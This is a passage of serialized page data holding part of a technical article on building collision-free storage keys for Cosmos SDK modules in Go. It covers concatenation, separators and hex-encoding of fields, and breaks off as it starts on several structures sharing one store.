VaultId",{"type":20,"tag":315,"props":83283,"children":83284},{"style":322},[83285],{"type":26,"value":74460},{"type":20,"tag":315,"props":83287,"children":83288},{"class":317,"line":356},[83289,83293,83298],{"type":20,"tag":315,"props":83290,"children":83291},{"style":541},[83292],{"type":26,"value":31170},{"type":20,"tag":315,"props":83294,"children":83295},{"style":322},[83296],{"type":26,"value":83297}," Username",{"type":20,"tag":315,"props":83299,"children":83300},{"style":322},[83301],{"type":26,"value":83302}," string\n",{"type":20,"tag":315,"props":83304,"children":83305},{"class":317,"line":365},[83306,83310,83315],{"type":20,"tag":315,"props":83307,"children":83308},{"style":541},[83309],{"type":26,"value":31170},{"type":20,"tag":315,"props":83311,"children":83312},{"style":322},[83313],{"type":26,"value":83314}," PositionName",{"type":20,"tag":315,"props":83316,"children":83317},{"style":322},[83318],{"type":26,"value":83302},{"type":20,"tag":315,"props":83320,"children":83321},{"class":317,"line":374},[83322,83326,83330,83334],{"type":20,"tag":315,"props":83323,"children":83324},{"style":541},[83325],{"type":26,"value":31170},{"type":20,"tag":315,"props":83327,"children":83328},{"style":322},[83329],{"type":26,"value":5820},{"type":20,"tag":315,"props":83331,"children":83332},{"style":541},[83333],{"type":26,"value":19555},{"type":20,"tag":315,"props":83335,"children":83336},{"style":328},[83337],{"type":26,"value":1092},{"type":20,"tag":315,"props":83339,"children":83340},{"class":317,"line":383},[83341,83345,83349],{"type":20,"tag":315,"props":83342,"children":83343},{"style":635},[83344],{"type":26,"value":41650},{"type":20,"tag":315,"props":83346,"children":83347},{"style":328},[83348],{"type":26,"value":74485},{"type":20,"tag":315,"props":83350,"children":83351},{"style":322},[83352],{"type":26,"value":82486},{"type":20,"tag":315,"props":83354,"children":83355},{"class":317,"line":407},[83356],{"type":20,"tag":315,"props":83357,"children":83358},{"style":328},[83359],{"type":26,"value":577},{"type":20,"tag":315,"props":83361,"children":83362},{"class":317,"line":421},[83363,83367,83372],{"type":20,"tag":315,"props":83364,"children":83365},{"style":541},[83366],{"type":26,"value":31170},{"type":20,"tag":315,"props":83368,"children":83369},{"style":322},[83370],{"type":26,"value":83371}," PositionMap",{"type":20,"tag":315,"props":83373,"children":83374},{"style":334},[83375],{"type":26,"value":83376}," :=\n",{"type":20,"tag":315,"props":83378,"children":83379},{"class":317,"line":430},[83380,83385,83389,83394,83398,83402,83406,83411,83415,83419,83423,83428,83432],{"type":20,"tag":315,"props":83381,"children":83382},{"style":541},[83383],{"type":26,"value":83384}," map",{"type":20,"tag":315,"props":83386,"children":83387},{"style":328},[83388],{"type":26,"value":2117},{"type":20,"tag":315,"props":83390,"children":83391},{"style":322},[83392],{"type":26,"value":83393},"VaultId",{"type":20,"tag":315,"props":83395,"children":83396},{"style":328},[83397],{"type":26,"value":13812},{"type":20,"tag":315,"props":83399,"children":83400},{"style":541},[83401],{"type":26,"value":65357},{"type":20,"tag":315,"props":83403,"children":83404},{"style":328},[83405],{"type":26,"value":2117},{"type":20,"tag":315,"props":83407,"children":83408},{"style":322},[83409],{"type":26,"value":83410},"Username",{"type":20,"tag":315,"props":83412,"children":83413},{"style":328},[83414],{"type":26,"value":13812},{"type":20,"tag":315,"props":83416,"children":83417},{"style":541},[83418],{"type":26,"value":65357},{"type":20,"tag":315,"props":83420,"children":83421},{"style":328},[83422],{"type":26,"value":2117},{"type":20,"tag":315,"props":83424,"children":83425},{"style":322},[83426],{"type":26,"value":83427},"PositionName",{"type":20,"tag":315,"props":83429,"children":83430},{"style":328},[83431],{"type":26,"value":13812},{"type":20,"tag":315,"props":83433,"children":83434},{"style":322},[83435],{"type":26,"value":83436},"Position\n",{"type":20,"tag":29,"props":83438,"children":83439},{},[83440,83442,83448],{"type":26,"value":83441},"Given that there are two levels of keys in ",{"type":20,"tag":119,"props":83443,"children":83445},{"className":83444},[],[83446],{"type":26,"value":83447},"PositionMap",{"type":26,"value":83449},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":20,"tag":305,"props":83451,"children":83453},{"code":83452,"language":74422,"meta":7,"className":74423,"style":7},"storageKey := fmt.Sprintf(\n \"%d%s%s\",\n vaultId,\n username,\n positionName,\n)\n",[83454],{"type":20,"tag":119,"props":83455,"children":83456},{"__ignoreMap":7},[83457,83486,83498,83510,83522,83534],{"type":20,"tag":315,"props":83458,"children":83459},{"class":317,"line":318},[83460,83465,83469,83473,83477,83482],{"type":20,"tag":315,"props":83461,"children":83462},{"style":635},[83463],{"type":26,"value":83464},"storageKey",{"type":20,"tag":315,"props":83466,"children":83467},{"style":334},[83468],{"type":26,"value":74674},{"type":20,"tag":315,"props":83470,"children":83471},{"style":635},[83472],{"type":26,"value":80492},{"type":20,"tag":315,"props":83474,"children":83475},{"style":328},[83476],{"type":26,"value":61},{"type":20,"tag":315,"props":83478,"children":83479},{"style":345},[83480],{"type":26,"value":83481},"Sprintf",{"type":20,"tag":315,"props":83483,"children":83484},{"style":328},[83485],{"type":26,"value":353},{"type":20,"tag":315,"props":83487,"children":83488},{"class":317,"line":356},[83489,83494],{"type":20,"tag":315,"props":83490,"children":83491},{"style":2652},[83492],{"type":26,"value":83493}," \"%d%s%s\"",{"type":20,"tag":315,"props":83495,"children":83496},{"style":328},[83497],{"type":26,"value":643},{"type":20,"tag":315,"props":83499,"children":83500},{"class":317,"line":365},[83501,83506],{"type":20,"tag":315,"props":83502,"children":83503},{"style":635},[83504],{"type":26,"value":83505}," vaultId",{"type":20,"tag":315,"props":83507,"children":83508},{"style":328},[83509],{"type":26,"value":643},{"type":20,"tag":315,"props":83511,"children":83512},{"class":317,"line":374},[83513,83518],{"type":20,"tag":315,"props":83514,"children":83515},{"style":635},[83516],{"type":26,"value":83517}," username",{"type":20,"tag":315,"props":83519,"children":83520},{"style":328},[83521],{"type":26,"value":643},{"type":20,"tag":315,"props":83523,"children":83524},{"class":317,"line":383},[83525,83530],{"type":20,"tag":315,"props":83526,"children":83527},{"style":635},[83528],{"type":26,"value":83529}," positionName",{"type":20,"tag":315,"props":83531,"children":83532},{"style":328},[83533],{"type":26,"value":643},{"type":20,"tag":315,"props":83535,"children":83536},{"class":317,"line":407},[83537],{"type":20,"tag":315,"props":83538,"children":83539},{"style":328},[83540],{"type":26,"value":380},{"type":20,"tag":29,"props":83542,"children":83543},{},[83544],{"type":26,"value":83545},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":20,"tag":305,"props":83547,"children":83549},{"code":83548},"vaultId = 1, username = \"2a\", positionName = \"b\"\n => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\", positionName = \"b\"\n => storageKey = \"12ab\"\n",[83550],{"type":20,"tag":119,"props":83551,"children":83552},{"__ignoreMap":7},[83553],{"type":26,"value":83548},{"type":20,"tag":29,"props":83555,"children":83556},{},[83557,83562],{"type":20,"tag":55,"props":83558,"children":83559},{},[83560],{"type":26,"value":83561},"So, how can we mitigate this issue?",{"type":26,"value":83563},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":20,"tag":305,"props":83565,"children":83567},{"code":83566,"language":74422,"meta":7,"className":74423,"style":7},"const (\n Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n username,\n Seperator,\n positionName,\n)\n",[83568],{"type":20,"tag":119,"props":83569,"children":83570},{"__ignoreMap":7},[83571,83582,83599,83606,83613,83640,83652,83663,83674,83685,83696,83707],{"type":20,"tag":315,"props":83572,"children":83573},{"class":317,"line":318},[83574,83578],{"type":20,"tag":315,"props":83575,"children":83576},{"style":541},[83577],{"type":26,"value":8054},{"type":20,"tag":315,"props":83579,"children":83580},{"style":328},[83581],{"type":26,"value":76824},{"type":20,"tag":315,"props":83583,"children":83584},{"class":317,"line":356},[83585,83590,83594],{"type":20,"tag":315,"props":83586,"children":83587},{"style":635},[83588],{"type":26,"value":83589}," Seperator",{"type":20,"tag":315,"props":83591,"children":83592},{"style":334},[83593],{"type":26,"value":1395},{"type":20,"tag":315,"props":83595,"children":83596},{"style":2652},[83597],{"type":26,"value":83598}," \"|\"\n",{"type":20,"tag":315,"props":83600,"children":83601},{"class":317,"line":365},[83602],{"type":20,"tag":315,"props":83603,"children":83604},{"style":328},[83605],{"type":26,"value":380},{"type":20,"tag":315,"props":83607,"children":83608},{"class":317,"line":374},[83609],{"type":20,"tag":315,"props":83610,"children":83611},{"emptyLinePlaceholder":15},[83612],{"type":26,"value":427},{"type":20,"tag":315,"props":83614,"children":83615},{"class":317,"line":383},[83616,83620,83624,83628,83632,83636],{"type":20,"tag":315,"props":83617,"children":83618},{"style":635},[83619],{"type":26,"value":83464},{"type":20,"tag":315,"props":83621,"children":83622},{"style":334},[83623],{"type":26,"value":74674},{"type":20,"tag":315,"props":83625,"children":83626},{"style":635},[83627],{"type":26,"value":80492},{"type":20,"tag":315,"props":83629,"children":83630},{"style":328},[83631],{"type":26,"value":61},{"type":20,"tag":315,"props":83633,"children":83634},{"style":345},[83635],{"type":26,"value":83481},{"type":20,"tag":315,"props":83637,"children":83638},{"style":328},[83639],{"type":26,"value":353},{"type":20,"tag":315,"props":83641,"children":83642},{"class":317,"line":407},[83643,83648],{"type":20,"tag":315,"props":83644,"children":83645},{"style":2652},[83646],{"type":26,"value":83647}," \"%d%s%s%s%s\"",{"type":20,"tag":315,"props":83649,"children":83650},{"style":328},[83651],{"type":26,"value":643},{"type":20,"tag":315,"props":83653,"children":83654},{"class":317,"line":421},[83655,83659],{"type":20,"tag":315,"props":83656,"children":83657},{"style":635},[83658],{"type":26,"value":83505},{"type":20,"tag":315,"props":83660,"children":83661},{"style":328},[83662],{"type":26,"value":643},{"type":20,"tag":315,"props":83664,"children":83665},{"class":317,"line":430},[83666,83670],{"type":20,"tag":315,"props":83667,"children":83668},{"style":635},[83669],{"type":26,"value":83589},{"type":20,"tag":315,"props":83671,"children":83672},{"style":328},[83673],{"type":26,"value":643},{"type":20,"tag":315,"props":83675,"children":83676},{"class":317,"line":453},[83677,83681],{"type":20,"tag":315,"props":83678,"children":83679},{"style":635},[83680],{"type":26,"value":83517},{"type":20,"tag":315,"props":83682,"children":83683},{"style":328},[83684],{"type":26,"value":643},{"type":20,"tag":315,"props":83686,"children":83687},{"class":317,"line":486},[83688,83692],{"type":20,"tag":315,"props":83689,"children":83690},{"style":635},[83691],{"type":26,"value":83589},{"type":20,"tag":315,"props":83693,"children":83694},{"style":328},[83695],{"type":26,"value":643},{"type":20,"tag":315,"props":83697,"children":83698},{"class":317,"line":499},[83699,83703],{"type":20,"tag":315,"props":83700,"children":83701},{"style":635},[83702],{"type":26,"value":83529},{"type":20,"tag":315,"props":83704,"children":83705},{"style":328},[83706],{"type":26,"value":643},{"type":20,"tag":315,"props":83708,"children":83709},{"class":317,"line":513},[83710],{"type":20,"tag":315,"props":83711,"children":83712},{"style":328},[83713],{"type":26,"value":380},{"type":20,"tag":29,"props":83715,"children":83716},{},[83717],{"type":26,"value":83718},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":20,"tag":29,"props":83720,"children":83721},{},[83722,83724,83730,83731,83737],{"type":26,"value":83723},"Sadly, it doesn't. Since the ",{"type":20,"tag":119,"props":83725,"children":83727},{"className":83726},[],[83728],{"type":26,"value":83729},"username",{"type":26,"value":9392},{"type":20,"tag":119,"props":83732,"children":83734},{"className":83733},[],[83735],{"type":26,"value":83736},"vaultName",{"type":26,"value":83738}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":20,"tag":305,"props":83740,"children":83742},{"code":83741},"vaultId = 1, username = \"a|\", positionName = \"b\"\n => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\", positionName = \"|b\"\n => storageKey = \"1|a||b\"\n",[83743],{"type":20,"tag":119,"props":83744,"children":83745},{"__ignoreMap":7},[83746],{"type":26,"value":83741},{"type":20,"tag":29,"props":83748,"children":83749},{},[83750],{"type":26,"value":83751},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":20,"tag":305,"props":83753,"children":83755},{"code":83754,"language":74422,"meta":7,"className":74423,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded\n)\n",[83756],{"type":20,"tag":119,"props":83757,"children":83758},{"__ignoreMap":7},[83759,83770,83785,83792,83799,83806,83827,83843,83881,83888,83925,83932,83952,83967,84003,84010,84045,84052,84079,84090,84101,84112,84124,84135,84143],{"type":20,"tag":315,"props":83760,"children":83761},{"class":317,"line":318},[83762,83766],{"type":20,"tag":315,"props":83763,"children":83764},{"style":541},[83765],{"type":26,"value":8054},{"type":20,"tag":315,"props":83767,"children":83768},{"style":328},[83769],{"type":26,"value":76824},{"type":20,"tag":315,"props":83771,"children":83772},{"class":317,"line":356},[83773,83777,83781],{"type":20,"tag":315,"props":83774,"children":83775},{"style":635},[83776],{"type":26,"value":83589},{"type":20,"tag":315,"props":83778,"children":83779},{"style":334},[83780],{"type":26,"value":1395},{"type":20,"tag":315,"props":83782,"children":83783},{"style":2652},[83784],{"type":26,"value":83598},{"type":20,"tag":315,"props":83786,"children":83787},{"class":317,"line":365},[83788],{"type":20,"tag":315,"props":83789,"children":83790},{"style":328},[83791],{"type":26,"value":380},{"type":20,"tag":315,"props":83793,"children":83794},{"class":317,"line":374},[83795],{"type":20,"tag":315,"props":83796,"children":83797},{"emptyLinePlaceholder":15},[83798],{"type":26,"value":427},{"type":20,"tag":315,"props":83800,"children":83801},{"class":317,"line":383},[83802],{"type":20,"tag":315,"props":83803,"children":83804},{"emptyLinePlaceholder":15},[83805],{"type":26,"value":427},{"type":20,"tag":315,"props":83807,"children":83808},{"class":317,"line":407},[83809,83814,83818,83823],{"type":20,"tag":315,"props":83810,"children":83811},{"style":635},[83812],{"type":26,"value":83813},"usernameEncoded",{"type":20,"tag":315,"props":83815,"children":83816},{"style":334},[83817],{"type":26,"value":74674},{"type":20,"tag":315,"props":83819,"children":83820},{"style":345},[83821],{"type":26,"value":83822}," make",{"type":20,"tag":315,"props":83824,"children":83825},{"style":328},[83826],{"type":26,"value":353},{"type":20,"tag":315,"props":83828,"children":83829},{"class":317,"line":421},[83830,83835,83839],{"type":20,"tag":315,"props":83831,"children":83832},{"style":328},[83833],{"type":26,"value":83834}," []",{"type":20,"tag":315,"props":83836,"children":83837},{"style":322},[83838],{"type":26,"value":83023},{"type":20,"tag":315,"props":83840,"children":83841},{"style":328},[83842],{"type":26,"value":643},{"type":20,"tag":315,"props":83844,"children":83845},{"class":317,"line":430},[83846,83851,83855,83860,83864,83868,83872,83876],{"type":20,"tag":315,"props":83847,"children":83848},{"style":635},[83849],{"type":26,"value":83850}," hex",{"type":20,"tag":315,"props":83852,"children":83853},{"style":328},[83854],{"type":26,"value":61},{"type":20,"tag":315,"props":83856,"children":83857},{"style":345},[83858],{"type":26,"value":83859},"EncodedLen",{"type":20,"tag":315,"props":83861,"children":83862},{"style":328},[83863],{"type":26,"value":1049},{"type":20,"tag":315,"props":83865,"children":83866},{"style":345},[83867],{"type":26,"value":7537},{"type":20,"tag":315,"props":83869,"children":83870},{"style":328},[83871],{"type":26,"value":1049},{"type":20,"tag":315,"props":83873,"children":83874},{"style":635},[83875],{"type":26,"value":83729},{"type":20,"tag":315,"props":83877,"children":83878},{"style":328},[83879],{"type":26,"value":83880},")),\n",{"type":20,"tag":315,"props":83882,"children":83883},{"class":317,"line":453},[83884],{"type":20,"tag":315,"props":83885,"children":83886},{"style":328},[83887],{"type":26,"value":380},{"type":20,"tag":315,"props":83889,"children":83890},{"class":317,"line":486},[83891,83896,83900,83905,83909,83913,83917,83921],{"type":20,"tag":315,"props":83892,"children":83893},{"style":635},[83894],{"type":26,"value":83895},"hex",{"type":20,"tag":315,"props":83897,"children":83898},{"style":328},[83899],{"type":26,"value":61},{"type":20,"tag":315,"props":83901,"children":83902},{"style":345},[83903],{"type":26,"value":83904},"Encode",{"type":20,"tag":315,"props":83906,"children":83907},{"style":328},[83908],{"type":26,"value":1049},{"type":20,"tag":315,"props":83910,"children":83911},{"style":635},[83912],{"type":26,"value":83813},{"type":20,"tag":315,"props":83914,"children":83915},{"style":328},[83916],{"type":26,"value":44},{"type":20,"tag":315,"props":83918,"children":83919},{"style":635},[83920],{"type":26,"value":83729},{"type":20,"tag":315,"props":83922,"children":83923},{"style":328},[83924],{"type":26,"value":380},{"type":20,"tag":315,"props":83926,"children":83927},{"class":317,"line":499},[83928],{"type":20,"tag":315,"props":83929,"children":83930},{"emptyLinePlaceholder":15},[83931],{"type":26,"value":427},{"type":20,"tag":315,"props":83933,"children":83934},{"class":317,"line":513},[83935,83940,83944,83948],{"type":20,"tag":315,"props":83936,"children":83937},{"style":635},[83938],{"type":26,"value":83939},"positionNameEncoded",{"type":20,"tag":315,"props":83941,"children":83942},{"style":334},[83943],{"type":26,"value":74674},{"type":20,"tag":315,"props":83945,"children":83946},{"style":345},[83947],{"type":26,"value":83822},{"type":20,"tag":315,"props":83949,"children":83950},{"style":328},[83951],{"type":26,"value":353},{"type":20,"tag":315,"props":83953,"children":83954},{"class":317,"line":521},[83955,83959,83963],{"type":20,"tag":315,"props":83956,"children":83957},{"style":328},[83958],{"type":26,"value":83834},{"type":20,"tag":315,"props":83960,"children":83961},{"style":322},[83962],{"type":26,"value":83023},{"type":20,"tag":315,"props":83964,"children":83965},{"style":328},[83966],{"type":26,"value":643},{"type":20,"tag":315,"props":83968,"children":83969},{"class":317,"line":552},[83970,83974,83978,83982,83986,83990,83994,83999],{"type":20,"tag":315,"props":83971,"children":83972},{"style":635},[83973],{"type":26,"value":83850},{"type":20,"tag":315,"props":83975,"children":83976},{"style":328},[83977],{"type":26,"value":61},{"type":20,"tag":315,"props":83979,"children":83980},{"style":345},[83981],{"type":26,"value":83859},{"type":20,"tag":315,"props":83983,"children":83984},{"style":328},[83985],{"type":26,"value":1049},{"type":20,"tag":315,"props":83987,"children":83988},{"style":345},[83989],{"type":26,"value":7537},{"type":20,"tag":315,"props":83991,"children":83992},{"style":328},[83993],{"type":26,"value":1049},{"type":20,"tag":315,"props":83995,"children":83996},{"style":635},[83997],{"type":26,"value":83998},"positionName",{"type":20,"tag":315,"props":84000,"children":84001},{"style":328},[84002],{"type":26,"value":83880},{"type":20,"tag":315,"props":84004,"children":84005},{"class":317,"line":571},[84006],{"type":20,"tag":315,"props":84007,"children":84008},{"style":328},[84009],{"type":26,"value":380},{"type":20,"tag":315,"props":84011,"children":84012},{"class":317,"line":2031},[84013,84017,84021,84025,84029,84033,84037,84041],{"type":20,"tag":315,"props":84014,"children":84015},{"style":635},[84016],{"type":26,"value":83895},{"type":20,"tag":315,"props":84018,"children":84019},{"style":328},[84020],{"type":26,"value":61},{"type":20,"tag":315,"props":84022,"children":84023},{"style":345},[84024],{"type":26,"value":83904},{"type":20,"tag":315,"props":84026,"children":84027},{"style":328},[84028],{"type":26,"value":1049},{"type":20,"tag":315,"props":84030,"children":84031},{"style":635},[84032],{"type":26,"value":83939},{"type":20,"tag":315,"props":84034,"children":84035},{"style":328},[84036],{"type":26,"value":44},{"type":20,"tag":315,"props":84038,"children":84039},{"style":635},[84040],{"type":26,"value":83998},{"type":20,"tag":315,"props":84042,"children":84043},{"style":328},[84044],{"type":26,"value":380},{"type":20,"tag":315,"props":84046,"children":84047},{"class":317,"line":2053},[84048],{"type":20,"tag":315,"props":84049,"children":84050},{"emptyLinePlaceholder":15},[84051],{"type":26,"value":427},{"type":20,"tag":315,"props":84053,"children":84054},{"class":317,"line":2061},[84055,84059,84063,84067,84071,84075],{"type":20,"tag":315,"props":84056,"children":84057},{"style":635},[84058],{"type":26,"value":83464},{"type":20,"tag":315,"props":84060,"children":84061},{"style":334},[84062],{"type":26,"value":74674},{"type":20,"tag":315,"props":84064,"children":84065},{"style":635},[84066],{"type":26,"value":80492},{"type":20,"tag":315,"props":84068,"children":84069},{"style":328},[84070],{"type":26,"value":61},{"type":20,"tag":315,"props":84072,"children":84073},{"style":345},[84074],{"type":26,"value":83481},{"type":20,"tag":315,"props":84076,"children":84077},{"style":328},[84078],{"type":26,"value":353},{"type":20,"tag":315,"props":84080,"children":84081},{"class":317,"line":2070},[84082,84086],{"type":20,"tag":315,"props":84083,"children":84084},{"style":2652},[84085],{"type":26,"value":83647},{"type":20,"tag":315,"props":84087,"children":84088},{"style":328},[84089],{"type":26,"value":643},{"type":20,"tag":315,"props":84091,"children":84092},{"class":317,"line":2139},[84093,84097],{"type":20,"tag":315,"props":84094,"children":84095},{"style":635},[84096],{"type":26,"value":83505},{"type":20,"tag":315,"props":84098,"children":84099},{"style":328},[84100],{"type":26,"value":643},{"type":20,"tag":315,"props":84102,"children":84103},{"class":317,"line":2147},[84104,84108],{"type":20,"tag":315,"props":84105,"children":84106},{"style":635},[84107],{"type":26,"value":83589},{"type":20,"tag":315,"props":84109,"children":84110},{"style":328},[84111],{"type":26,"value":643},{"type":20,"tag":315,"props":84113,"children":84114},{"class":317,"line":2177},[84115,84120],{"type":20,"tag":315,"props":84116,"children":84117},{"style":635},[84118],{"type":26,"value":84119}," usernameEncoded",{"type":20,"tag":315,"props":84121,"children":84122},{"style":328},[84123],{"type":26,"value":643},{"type":20,"tag":315,"props":84125,"children":84126},{"class":317,"line":2185},[84127,84131],{"type":20,"tag":315,"props":84128,"children":84129},{"style":635},[84130],{"type":26,"value":83589},{"type":20,"tag":315,"props":84132,"children":84133},{"style":328},[84134],{"type":26,"value":643},{"type":20,"tag":315,"props":84136,"children":84137},{"class":317,"line":2217},[84138],{"type":20,"tag":315,"props":84139,"children":84140},{"style":635},[84141],{"type":26,"value":84142}," positionNameEncoded\n",{"type":20,"tag":315,"props":84144,"children":84145},{"class":317,"line":2225},[84146],{"type":20,"tag":315,"props":84147,"children":84148},{"style":328},[84149],{"type":26,"value":380},{"type":20,"tag":29,"props":84151,"children":84152},{},[84153,84155,84160],{"type":26,"value":84154},"We did it. We finally eliminated all potential ",{"type":20,"tag":119,"props":84156,"children":84158},{"className":84157},[],[84159],{"type":26,"value":83464},{"type":26,"value":84161}," collisions.",{"type":20,"tag":29,"props":84163,"children":84164},{},[84165],{"type":26,"value":84166},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":20,"tag":29,"props":84168,"children":84169},{},[84170,84172,84178,84180,84185,84187,84192,84194,84199,84201,84207],{"type":26,"value":84171},"In the Cosmos framework, it is common for each ",{"type":20,"tag":119,"props":84173,"children":84175},{"className":84174},[],[84176],{"type":26,"value":84177},"Module",{"type":26,"value":84179}," to own a few ",{"type":20,"tag":119,"props":84181,"children":84183},{"className":84182},[],[84184],{"type":26,"value":83235},{"type":26,"value":84186}," and have individual ",{"type":20,"tag":119,"props":84188,"children":84190},{"className":84189},[],[84191],{"type":26,"value":78203},{"type":26,"value":84193},"s managing access to storages. It's also important to note that each ",{"type":20,"tag":119,"props":84195,"children":84197},{"className":84196},[],[84198],{"type":26,"value":83235},{"type":26,"value":84200}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":20,"tag":119,"props":84202,"children":84204},{"className":84203},[],[84205],{"type":26,"value":84206},"Modules",{"type":26,"value":61},{"type":20,"tag":29,"props":84209,"children":84210},{},[84211,84213,84218],{"type":26,"value":84212},"With that being said, what if we have to maintain more than one structure within the same ",{"type":20,"tag":119,"props":84214,"children":84216},{"className":84215},[],[84217],{"type":26,"value":83235},{"type":26,"value":1537},{"type":20,"tag":29,"props":84220,"children":84221},{},[84222,84224,84230,84232,84237],{"type":26,"value":84223},"To demonstrate this scenario, we introduce the ",{"type":20,"tag":119,"props":84225,"children":84227},{"className":84226},[],[84228],{"type":26,"value":84229},"NameToAddressMap",{"type":26,"value":84231}," structure, which will be stored in the same ",{"type":20,"tag":119,"props":84233,"children":84235},{"className":84234},[],[84236],{"type":26,"value":83235},{"type":26,"value":84238}," we previously used.",{"type":20,"tag":305,"props":84240,"children":84242},{"code":84241,"language":74422,"meta":7,"className":74423,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n map[VaultId]map[Username]map[AddressName]Address\n",[84243],{"type":20,"tag":119,"props":84244,"children":84245},{"__ignoreMap":7},[84246,84261,84276,84283,84298,84317,84332,84339,84354,84409,84416,84432,84452,84467,84474,84490],{"type":20,"tag":315,"props":84247,"children":84248},{"class":317,"line":318},[84249,84253,84257],{"type":20,"tag":315,"props":84250,"children":84251},{"style":541},[84252],{"type":26,"value":31170},{"type":20,"tag":315,"props":84254,"children":84255},{"style":322},[84256],{"type":26,"value":83281},{"type":20,"tag":315,"props":84258,"children":84259},{"style":322},[84260],{"type":26,"value":74460},{"type":20,"tag":315,"props":84262,"children":84263},{"class":317,"line":356},[84264,84268,84272],{"type":20,"tag":315,"props":84265,"children":84266},{"style":541},[84267],{"type":26,"value":31170},{"type":20,"tag":315,"props":84269,"children":84270},{"style":322},[84271],{"type":26,"value":83297},{"type":20,"tag":315,"props":84273,"children":84274},{"style":322},[84275],{"type":26,"value":83302},{"type":20,"tag":315,"props":84277,"children":84278},{"class":317,"line":365},[84279],{"type":20,"tag":315,"props":84280,"children":84281},{"emptyLinePlaceholder":15},[84282],{"type":26,"value":427},{"type":20,"tag":315,"props":84284,"children":84285},{"class":317,"line":374},[84286,84290,84294],{"type":20,"tag":315,"props":84287,"children":84288},{"style":541},[84289],{"type":26,"value":31170},{"type":20,"tag":315,"props":84291,"children":84292},{"style":322},[84293],{"type":26,"value":83314},{"type":20,"tag":315,"props":84295,"children":84296},{"style":322},[84297],{"type":26,"value":83302},{"type":20,"tag":315,"props":84299,"children":84300},{"class":317,"line":383},[84301,84305,84309,84313],{"type":20,"tag":315,"props":84302,"children":84303},{"style":541},[84304],{"type":26,"value":31170},{"type":20,"tag":315,"props":84306,"children":84307},{"style":322},[84308],{"type":26,"value":5820},{"type":20,"tag":315,"props":84310,"children":84311},{"style":541},[84312],{"type":26,"value":19555},{"type":20,"tag":315,"props":84314,"children":84315},{"style":328},[84316],{"type":26,"value":1092},{"type":20,"tag":315,"props":84318,"children":84319},{"class":317,"line":407},[84320,84324,84328],{"type":20,"tag":315,"props":84321,"children":84322},{"style":635},[84323],{"type":26,"value":41650},{"type":20,"tag":315,"props":84325,"children":84326},{"style":328},[84327],{"type":26,"value":74485},{"type":20,"tag":315,"props":84329,"children":84330},{"style":322},[84331],{"type":26,"value":82486},{"type":20,"tag":315,"props":84333,"children":84334},{"class":317,"line":421},[84335],{"type":20,"tag":315,"props":84336,"children":84337},{"style":328},[84338],{"type":26,"value":577},{"type":20,"tag":315,"props":84340,"children":84341},{"class":317,"line":430},[84342,84346,84350],{"type":20,"tag":315,"props":84343,"children":84344},{"style":541},[84345],{"type":26,"value":31170},{"type":20,"tag":315,"props":84347,"children":84348},{"style":322},[84349],{"type":26,"value":83371},{"type":20,"tag":315,"props":84351,"children":84352},{"style":334},[84353],{"type":26,"value":83376},{"type":20,"tag":315,"props":84355,"children":84356},{"class":317,"line":453},[84357,84361,84365,84369,84373,84377,84381,84385,84389,84393,84397,84401,84405],{"type":20,"tag":315,"props":84358,"children":84359},{"style":541},[84360],{"type":26,"value":83384},{"type":20,"tag":315,"props":84362,"children":84363},{"style":328},[84364],{"type":26,"value":2117},{"type":20,"tag":315,"props":84366,"children":84367},{"style":322},[84368],{"type":26,"value":83393},{"type":20,"tag":315,"props":84370,"children":84371},{"style":328},[84372],{"type":26,"value":13812},{"type":20,"tag":315,"props":84374,"children":84375},{"style":541},[84376],{"type":26,"value":65357},{"type":20,"tag":315,"props":84378,"children":84379},{"style":328},[84380],{"type":26,"value":2117},{"type":20,"tag":315,"props":84382,"children":84383},{"style":322},[84384],{"type":26,"value":83410},{"type":20,"tag":315,"props":84386,"children":84387},{"style":328},[84388],{"type":26,"value":13812},{"type":20,"tag":315,"props":84390,"children":84391},{"style":541},[84392],{"type":26,"value":65357},{"type":20,"tag":315,"props":84394,"children":84395},{"style":328},[84396],{"type":26,"value":2117},{"type":20,"tag":315,"props":84398,"children":84399},{"style":322},[84400],{"type":26,"value":83427},{"type":20,"tag":315,"props":84402,"children":84403},{"style":328},[84404],{"type":26,"value":13812},{"type":20,"tag":315,"props":84406,"children":84407},{"style":322},[84408],{"type":26,"value":83436},{"type":20,"tag":315,"props":84410,"children":84411},{"class":317,"line":486},[84412],{"type":20,"tag":315,"props":84413,"children":84414},{"emptyLinePlaceholder":15},[84415],{"type":26,"value":427},{"type":20,"tag":315,"props":84417,"children":84418},{"class":317,"line":499},[84419,84423,84428],{"type":20,"tag":315,"props":84420,"children":84421},{"style":541},[84422],{"type":26,"value":31170},{"type":20,"tag":315,"props":84424,"children":84425},{"style":322},[84426],{"type":26,"value":84427}," AddressName",{"type":20,"tag":315,"props":84429,"children":84430},{"style":322},[84431],{"type":26,"value":83302},{"type":20,"tag":315,"props":84433,"children":84434},{"class":317,"line":513},[84435,84439,84444,84448],{"type":20,"tag":315,"props":84436,"children":84437},{"style":541},[84438],{"type":26,"value":31170},{"type":20,"tag":315,"props":84440,"children":84441},{"style":322},[84442],{"type":26,"value":84443}," 